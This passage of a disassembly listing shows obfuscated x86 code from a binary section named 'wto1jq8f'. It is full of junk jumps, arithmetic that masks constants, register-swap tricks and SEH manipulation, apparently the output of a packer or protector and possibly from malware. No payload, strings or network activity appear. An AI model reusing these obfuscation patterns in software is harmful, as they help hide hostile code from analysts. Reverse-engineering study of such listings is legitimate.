00424FC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426919 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0042D5F4 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx jnz loc_424FC7 jmp loc_42D5F4 sub_424232 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424241: ; CODE XREF: wto1jq8f:004268D5j jl loc_42EC15 jg loc_42A337 push 0C9FFAB8Eh jmp loc_42EC09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF89 loc_424257: ; CODE XREF: sub_42CF89:loc_42A740j or edi, 87B8AFF1h sub edi, 0BD4E4A93h test edi, 2000000h jmp loc_42FA8E ; END OF FUNCTION CHUNK FOR sub_42CF89 ; --------------------------------------------------------------------------- loc_42426E: ; CODE XREF: wto1jq8f:0042CE22j shl ebx, 15h jmp loc_424EE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_424276: ; CODE XREF: sub_426313:loc_429160j jz loc_42DC52 jmp loc_4296DE ; END OF FUNCTION CHUNK FOR sub_426313 ; --------------------------------------------------------------------------- loc_424281: ; CODE XREF: wto1jq8f:0042D7B5j and ebp, 0A6341EF9h test edx, ebx jmp loc_429E18 ; --------------------------------------------------------------------------- locret_42428E: ; CODE XREF: wto1jq8f:loc_42D83Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_42428F: ; CODE XREF: sub_42F25F-617Cj jmp loc_42E8B4 ; END OF FUNCTION CHUNK FOR sub_42F25F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_424294: ; CODE XREF: sub_426144:loc_42431Fj ; wto1jq8f:loc_42816Aj ... pop large dword ptr fs:0 add esp, 4 retn ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- loc_42429F: ; CODE XREF: wto1jq8f:00427BE2j jmp locret_42B03C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_4242A4: ; CODE XREF: sub_42C486:loc_42928Ej push large dword ptr fs:0 jmp loc_42ADF5 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- push eax push offset sub_42CDE2 jmp loc_427A13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_4242BB: ; CODE XREF: sub_429BD3+3C32j push eax call sub_42DE1F loc_4242C1: ; CODE XREF: sub_42FFBA:loc_4299F1j call sub_429165 push eax rol eax, 3 mov ds:dword_42F1EC, eax retn ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_4242D1: ; CODE XREF: sub_42BE69+10j jmp loc_42C9D4 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; =============== S U B R O U T I N E ======================================= sub_4242D6 proc near ; CODE XREF: sub_42727F:loc_42749Fj ; sub_42704E+8DEp ... ; FUNCTION CHUNK AT 0042AB5B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042CBC1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F9C3 SIZE 00000005 BYTES js sub_4294F4 jmp loc_42CBC1 sub_4242D6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_4242E1: ; CODE XREF: sub_42A909-610Fj jb loc_42C5D4 not ecx jmp loc_424D27 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B705 loc_4242EE: ; CODE XREF: sub_42B705-4A9Fj mov [ebp-24h], eax mov eax, [ebp-24h] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42B705 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F8 proc near ; CODE XREF: sub_426C53+4p ; sub_42B705+Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004273D0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D65D SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042EA1C SIZE 00000010 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_4273D0 sub_4242F8 endp ; --------------------------------------------------------------------------- loc_424303: ; CODE XREF: wto1jq8f:00424CD2j or edx, 0B03F2CD1h ; =============== S U B R O U T I N E ======================================= sub_424309 proc near ; CODE XREF: wto1jq8f:00428C4Ap arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424DB7 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0042694B SIZE 00000005 BYTES mov [esp+0], esi pop esi xor [esp-4+arg_0], eax jmp loc_42694B sub_424309 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push offset sub_4266CA jmp loc_42E718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_42431F: ; CODE XREF: sub_426144+2231j jz loc_424294 jmp loc_429454 ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42432A: ; CODE XREF: sub_426535+891Aj jb loc_426895 jle nullsub_79 jmp loc_426FFA ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42433B proc near ; CODE XREF: sub_426E98+134p ; wto1jq8f:0042F831j ; FUNCTION CHUNK AT 00424B6B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A48 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00426A54 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042CC05 SIZE 0000000A BYTES mov [esp+0], edi pop edi jz loc_426A54 mov dword ptr [ebp-8], 1 jmp loc_424B6B sub_42433B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424351 proc near ; CODE XREF: sub_426E98j push ebp mov ebp, esp jmp sub_42CBEE sub_424351 endp ; --------------------------------------------------------------------------- call sub_42FB84 ; START OF FUNCTION CHUNK FOR sub_4259FF loc_42435E: ; CODE XREF: sub_4259FF+119Aj jmp loc_428B27 ; END OF FUNCTION CHUNK FOR sub_4259FF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424364: ; CODE XREF: wto1jq8f:004297C3j jmp loc_4289AB ; --------------------------------------------------------------------------- loc_424369: ; CODE XREF: wto1jq8f:0042EAA5j mov [edx], al call sub_42A197 ; START OF FUNCTION CHUNK FOR sub_426144 loc_424370: ; CODE XREF: sub_426144+6098j jmp loc_42D0F2 ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- loc_424375: ; DATA XREF: sub_42A7E2+3o push ecx mov esp, ebp push offset loc_4263A6 jmp loc_424CD8 ; =============== S U B R O U T I N E ======================================= sub_424382 proc near ; CODE XREF: sub_429B6D+16B5p push offset sub_4247C1 jmp nullsub_7 sub_424382 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42438C: ; CODE XREF: sub_429BFF:loc_42CCDEj push 4 push 8EB45F72h pop eax xor eax, 8DBB329Ah or eax, 1A9863B8h cmp eax, 933622F6h jmp loc_42C8B6 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245D6 loc_4243AB: ; CODE XREF: sub_4245D6:loc_429081j cmp eax, 0C3C033h jnz loc_42A503 jmp loc_4243FB ; END OF FUNCTION CHUNK FOR sub_4245D6 ; --------------------------------------------------------------------------- mov edx, 0CB39536Bh call sub_429165 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42ADBE jmp loc_42857F ; =============== S U B R O U T I N E ======================================= sub_4243D7 proc near ; CODE XREF: sub_42D9FC-9374j ; sub_42A14D-4276p ... var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00426227 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042A63D SIZE 00000005 BYTES push eax push eax push 0E28BF2F6h pop eax or eax, 3F7DEBF4h jmp loc_42A63D sub_4243D7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_4243EA: ; CODE XREF: sub_427A8D-3017j jz loc_4292D5 jmp loc_426714 ; END OF FUNCTION CHUNK FOR sub_427A8D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_4243F6: ; CODE XREF: sub_42606D-611j jmp loc_428D3C ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245D6 loc_4243FB: ; CODE XREF: sub_4245D6-220j jmp loc_426FA3 ; END OF FUNCTION CHUNK FOR sub_4245D6 ; --------------------------------------------------------------------------- loc_424400: ; CODE XREF: wto1jq8f:0042F21Cj jz loc_42E679 ; =============== S U B R O U T I N E ======================================= sub_424406 proc near ; CODE XREF: sub_42CA3D:loc_42491Ap ; FUNCTION CHUNK AT 004244A4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00425A0F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426518 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00426946 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004291F5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D1BE SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042EE38 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi mov eax, ds:dword_429068 or eax, eax jmp loc_426946 sub_424406 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_424417: ; CODE XREF: sub_42AECE+2320j jno loc_4263A6 sbb ebx, eax jmp loc_427123 ; END OF FUNCTION CHUNK FOR sub_42AECE ; --------------------------------------------------------------------------- xchg ebx, [esi] jmp loc_42CA0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_42442B: ; CODE XREF: sub_42A8ED:loc_42D12Ej mov ds:byte_425920, 1 lea eax, [ebp-14h] xor edx, edx call sub_42A56D loc_42443C: ; CODE XREF: wto1jq8f:loc_42BD54j ; sub_42A8ED:loc_42D376j mov eax, ds:dword_42FB44 mov [ebp-4], eax mov eax, [ebp-4] jmp loc_42CAD3 ; END OF FUNCTION CHUNK FOR sub_42A8ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_42444C: ; CODE XREF: sub_42606D+889Ej push edx loc_42444D: ; CODE XREF: sub_42606D:loc_428D3Cj mov eax, [ebp-4] call sub_428AC6 ; END OF FUNCTION CHUNK FOR sub_42606D ; START OF FUNCTION CHUNK FOR sub_42C43B loc_424455: ; CODE XREF: sub_42C43B:loc_42C6F4j popf and ecx, edx call sub_42DE77 jnp loc_4287DA jmp loc_428CE4 ; END OF FUNCTION CHUNK FOR sub_42C43B ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287D0 loc_424469: ; CODE XREF: sub_4287D0+10j jmp nullsub_34 ; END OF FUNCTION CHUNK FOR sub_4287D0 ; --------------------------------------------------------------------------- loc_42446E: ; CODE XREF: wto1jq8f:00429DA7j call sub_42ADC7 ; START OF FUNCTION CHUNK FOR sub_42A909 loc_424473: ; CODE XREF: sub_42A909+3E1Bj jo loc_427417 call sub_42CB36 test al, al jmp loc_428E4D ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F7D loc_424485: ; CODE XREF: sub_42DCB4+1Cj ; sub_429F7D+474Dj or ecx, ecx loc_424487: ; CODE XREF: sub_42C486:loc_427880j push offset loc_42BA47 jmp loc_42C168 ; END OF FUNCTION CHUNK FOR sub_429F7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_424491: ; CODE XREF: sub_42F614:loc_42679Cj push 0 push eax lea eax, loc_42D469 call sub_42F36F ; END OF FUNCTION CHUNK FOR sub_42F614 ; START OF FUNCTION CHUNK FOR sub_42D86F loc_42449F: ; CODE XREF: sub_42D86F+3j jmp locret_42A4B7 ; END OF FUNCTION CHUNK FOR sub_42D86F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_4244A4: ; CODE XREF: sub_424406+8DD0j mov ds:dword_429068, eax retn ; --------------------------------------------------------------------------- loc_4244AB: ; CODE XREF: sub_424406:loc_4291F5j ror eax, 1Ah push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_424406 ; --------------------------------------------------------------------------- or ebp, 0EE97813Dh jmp sub_429E99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E961 loc_4244C0: ; CODE XREF: sub_42E961+Dj xor edx, edx push edx loc_4244C3: ; CODE XREF: sub_427A30:loc_426341j push eax mov eax, [ebp-18h] add eax, eax cdq add eax, [esp+8+var_8] jmp loc_426A72 ; END OF FUNCTION CHUNK FOR sub_42E961 ; --------------------------------------------------------------------------- loc_4244D2: ; CODE XREF: wto1jq8f:00428D6Cj add edx, 0A90D7365h sbb ecx, ebx push offset loc_42DC99 jmp locret_429CA2 ; --------------------------------------------------------------------------- loc_4244E4: ; CODE XREF: wto1jq8f:00424E4Dj jno loc_427D3C ; =============== S U B R O U T I N E ======================================= sub_4244EA proc near ; CODE XREF: sub_42DE65-2693p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424690 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424E3C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F1E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427CB8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00427E6A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042834A SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00428979 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428DA3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042934D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00429893 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429E1E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00429E88 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042A4DF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042A708 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AA49 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ACE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B38E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B97F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BA01 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042C4CA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CFB3 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D7A8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DB8C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042DC7A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042DF97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F65B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042F6FA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042F93C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042FD57 SIZE 0000000F BYTES mov [esp+0], esi pop esi cmp ds:dword_425108[eax*4], 0 jz loc_42A4DF mov eax, [ebp-4] jmp loc_42BA01 sub_4244EA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F23A loc_424504: ; CODE XREF: sub_42F23A+Ej ja loc_42C3D9 jmp loc_42A32C ; END OF FUNCTION CHUNK FOR sub_42F23A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E3FD loc_42450F: ; CODE XREF: sub_42E3FD+1Dj xor eax, 28487859h pop ebx pop eax pop ecx jmp loc_42476D ; END OF FUNCTION CHUNK FOR sub_42E3FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E77 loc_42451D: ; CODE XREF: sub_429E77:loc_429E83j call sub_42821F loc_424522: ; CODE XREF: sub_42B565+14j jmp loc_42AAA4 ; END OF FUNCTION CHUNK FOR sub_429E77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429308 loc_424527: ; CODE XREF: sub_429308:loc_4241A8j xor [ebp-4], eax cmp dword ptr [ebp-4], 0 call sub_42483B loc_424533: ; CODE XREF: sub_4266B1+44FBj jmp loc_42701C ; END OF FUNCTION CHUNK FOR sub_429308 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42689A loc_424538: ; CODE XREF: sub_42689A+Bj jmp loc_427CC9 ; END OF FUNCTION CHUNK FOR sub_42689A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sbb eax, 0A5508D4Dh jmp sub_42C075 ; --------------------------------------------------------------------------- loc_424549: ; CODE XREF: wto1jq8f:0042F64Bj or esi, 121F6BF5h jmp loc_4283F0 ; --------------------------------------------------------------------------- loc_424554: ; CODE XREF: wto1jq8f:0042E6A5j mov [esi], edx ; =============== S U B R O U T I N E ======================================= sub_424556 proc near ; CODE XREF: sub_426E98+11Bp ; sub_42EFB5:loc_427E04j var_4 = dword ptr -4 xchg edx, [esp+0] pop edx mov eax, [ebp-4] push eax push edi mov edi, ecx xchg edi, [esp+4+var_4] jmp loc_426F4C sub_424556 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_424569: ; CODE XREF: sub_42BE69-27BBj push offset loc_428DF7 jmp nullsub_72 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; =============== S U B R O U T I N E ======================================= sub_424573 proc near ; DATA XREF: sub_42C075+6o cmp al, 0A4h jnz loc_42D814 jmp loc_42FAF1 sub_424573 endp ; --------------------------------------------------------------------------- jmp loc_42D814 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424585 proc near ; CODE XREF: sub_42CFE2-8FD7p ; wto1jq8f:00424142j ... var_14 = byte ptr -14h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425A31 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004262E3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042784C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B25 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428840 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A07D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042A3D0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042BD27 SIZE 00000005 BYTES push ebp mov ebp, esp jb sub_428DBE add esp, 0FFFFFFECh mov eax, offset dword_42FB68 jmp loc_42784C sub_424585 endp ; =============== S U B R O U T I N E ======================================= sub_42459B proc near ; DATA XREF: sub_425944+8C29o ; FUNCTION CHUNK AT 0042D403 SIZE 00000005 BYTES jnz loc_42D403 sub_42459B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_425944 loc_4245A1: ; CODE XREF: wto1jq8f:00424FC1j ; sub_425944:loc_42617Aj ... pop ecx pop ecx pop ebp jmp loc_42CBBC ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A19 loc_4245A9: ; CODE XREF: sub_424ADA+7j ; wto1jq8f:004281BEj ... mov dword ptr [ebp-8], 1 jmp loc_42EFFC ; END OF FUNCTION CHUNK FOR sub_428A19 ; =============== S U B R O U T I N E ======================================= sub_4245B5 proc near ; CODE XREF: sub_42E9E8:loc_425C4Dp ; sub_4293FF+6p ... ; FUNCTION CHUNK AT 004272DE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042D47E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D536 SIZE 00000005 BYTES jno sub_425B8C push ebp mov ebp, esp jmp loc_42D536 sub_4245B5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_4245C3: ; CODE XREF: sub_42C486:loc_42C75Aj jnz loc_42E6AA jmp loc_4250A3 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- rol ebp, 15h jmp sub_424702 ; =============== S U B R O U T I N E ======================================= sub_4245D6 proc near ; CODE XREF: sub_4283CC:loc_42F104p ; wto1jq8f:0042F58Fj ; FUNCTION CHUNK AT 004243AB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004243FB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429081 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A503 SIZE 00000011 BYTES xchg ecx, [esp+0] pop ecx mov eax, [ebp-4] mov eax, [eax] and eax, 0FFFFFFh jmp loc_429081 sub_4245D6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4245E9: ; CODE XREF: wto1jq8f:0042FED3j jnz loc_4264E4 jmp loc_424F90 ; --------------------------------------------------------------------------- jno loc_426D52 jmp sub_42EAED ; =============== S U B R O U T I N E ======================================= sub_4245FF proc near ; CODE XREF: wto1jq8f:0042A703p ; wto1jq8f:0042CC40j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004274B8 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 66C50F1Dh pop eax add eax, 997D6B60h xchg eax, [esp-4+arg_0] jmp loc_4274B8 sub_4245FF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F61 loc_424617: ; CODE XREF: sub_428F61:loc_42A97Bj pop eax rol eax, 0Bh add eax, 0C16EA896h push 60F74CEBh pop edx add edx, 9D2561E0h rol edx, 0Bh jmp loc_427CB3 ; END OF FUNCTION CHUNK FOR sub_428F61 ; =============== S U B R O U T I N E ======================================= sub_424635 proc near ; CODE XREF: sub_42CB36-844Ep ; wto1jq8f:0042FE9Aj ; FUNCTION CHUNK AT 0042E18A SIZE 00000005 BYTES mov [esp+0], ecx pop ecx push 0 push offset loc_429F1A jmp loc_42E18A sub_424635 endp ; --------------------------------------------------------------------------- test eax, 0DFA90653h jmp loc_42B98A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F947 loc_424650: ; CODE XREF: sub_42F947+Cj pop ecx push 0A6D0CA55h pop eax sub eax, 0F94E0BB1h or eax, 42B0898Ah jmp loc_42C8E8 ; END OF FUNCTION CHUNK FOR sub_42F947 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_424668: ; CODE XREF: sub_42D9FC:loc_4273BAj ; sub_42D9FC+1172j call sub_427488 loc_42466D: ; DATA XREF: sub_424D63+829Ao push 2EF8AD77h pop esi and esi, ds:4000F5h or esi, 8C46BDF6h add esi, 5363D301h xchg esi, [esp+0] jmp sub_4243D7 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- loc_42468D: ; CODE XREF: wto1jq8f:0042DC94j rol ebx, 0Ah ; START OF FUNCTION CHUNK FOR sub_4244EA loc_424690: ; CODE XREF: sub_4244EA:loc_42DC7Aj add ecx, 8E51FED4h xchg ecx, [esp-4+arg_0] jmp loc_42ACE8 ; END OF FUNCTION CHUNK FOR sub_4244EA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_236. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42469F: ; CODE XREF: sub_42C486+190Fj jmp nullsub_144 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_4246A4: ; CODE XREF: sub_42750A-CAAj jmp loc_4268DA ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- add edi, 0A55C96BEh jmp sub_426E65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263B3 loc_4246B4: ; CODE XREF: sub_4263B3+13j add ebx, 0C1D66915h push offset loc_42413F jmp nullsub_18 ; END OF FUNCTION CHUNK FOR sub_4263B3 ; --------------------------------------------------------------------------- locret_4246C4: ; CODE XREF: wto1jq8f:loc_427CAEj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_4246C5: ; CODE XREF: sub_42506F+4A5Fj jmp loc_42BD14 ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_4246CA: ; CODE XREF: sub_42CB36:loc_4246EDj rol edx, 0Bh or ecx, esi jmp loc_4267E6 ; END OF FUNCTION CHUNK FOR sub_42CB36 ; =============== S U B R O U T I N E ======================================= sub_4246D4 proc near ; CODE XREF: sub_42A3BC-5969p ; wto1jq8f:0042E8E4j arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00427FCE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428D5C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042CDF4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ED47 SIZE 0000000D BYTES xchg ebx, [esp+0] pop ebx add ebx, ecx pop edx jmp loc_42CDF4 sub_4246D4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_4246E0: ; CODE XREF: sub_42CB36+Ej jnz loc_42BC8F push 0 call sub_424635 loc_4246ED: ; CODE XREF: wto1jq8f:loc_42F4E8j ; sub_42E9E8+BD6j jmp loc_4246CA ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_4246F2: ; CODE XREF: sub_426C0C+145Cj jmp loc_42C8FC ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_4246F7: ; CODE XREF: sub_426E98+30C4j cmp esi, 6B910D20h jmp loc_429C4F ; END OF FUNCTION CHUNK FOR sub_426E98 ; =============== S U B R O U T I N E ======================================= sub_424702 proc near ; CODE XREF: wto1jq8f:004245D1j ; sub_429C18:loc_42D15Bp ; FUNCTION CHUNK AT 0042691C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042A945 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E149 SIZE 00000014 BYTES mov [esp+0], edx pop edx jnz loc_424FC7 mov eax, [ebp-4] jmp loc_42691C sub_424702 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42628C loc_424714: ; CODE XREF: sub_42628C:loc_42CF73j mov eax, [ebp-4] call sub_42D35A loc_42471C: ; CODE XREF: wto1jq8f:loc_4299E5j test al, al call sub_42903A loc_424723: ; CODE XREF: sub_424702+9A56j jmp nullsub_138 ; END OF FUNCTION CHUNK FOR sub_42628C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_424728: ; CODE XREF: sub_4283CC:loc_42D60Dj add ebp, 376ADA43h jmp loc_42F0FE ; END OF FUNCTION CHUNK FOR sub_4283CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_424733: ; CODE XREF: sub_426E98:loc_42D96Fj call sub_42F614 ; END OF FUNCTION CHUNK FOR sub_426E98 ; START OF FUNCTION CHUNK FOR sub_42CF89 loc_424738: ; CODE XREF: sub_42CF89:loc_42AEF4j add edi, 0CDD62523h push offset sub_428A7D jmp loc_426936 ; END OF FUNCTION CHUNK FOR sub_42CF89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD2D loc_424748: ; CODE XREF: sub_42DD2D+24Ej or ecx, ds:4000FAh add ecx, 2442537h xchg ecx, [esp+0] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42DD2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_42475C: ; CODE XREF: sub_4262F5+10F2j jge loc_42E9B8 xor esi, 0E3AC3CE4h jmp loc_42B11F ; END OF FUNCTION CHUNK FOR sub_4262F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E3FD loc_42476D: ; CODE XREF: sub_42E3FD-9EE5j pop edx pop ebp jmp loc_428B27 ; --------------------------------------------------------------------------- loc_424774: ; CODE XREF: sub_42E3FD+12j add ebx, ecx rol eax, 1Eh xor eax, 28487859h jmp loc_42B432 ; END OF FUNCTION CHUNK FOR sub_42E3FD ; --------------------------------------------------------------------------- locret_424784: ; CODE XREF: wto1jq8f:loc_42D55Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_424785: ; CODE XREF: sub_42F50F-5405j jmp nullsub_100 ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DF0 loc_42478A: ; CODE XREF: sub_425DF0+1Bj jmp nullsub_8 ; END OF FUNCTION CHUNK FOR sub_425DF0 ; --------------------------------------------------------------------------- popf jmp sub_42C698 ; --------------------------------------------------------------------------- loc_424795: ; CODE XREF: wto1jq8f:00428637j sub ecx, 0FB2DBAA3h jmp loc_42761E ; 